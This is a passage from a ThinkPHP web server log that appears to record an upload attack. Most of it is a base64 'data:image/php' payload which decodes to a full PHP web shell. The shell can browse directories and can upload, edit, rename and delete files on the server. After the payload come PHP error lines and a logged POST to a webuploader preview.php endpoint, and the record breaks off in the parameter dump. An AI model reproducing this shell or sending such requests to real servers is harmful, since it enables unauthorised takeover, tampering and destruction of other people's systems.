'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:46+08:00 ] 116.213.36.234 POST 59.110.137.245/jquery/UI/H-ui.admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002521s] [吞吐率:396.66req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 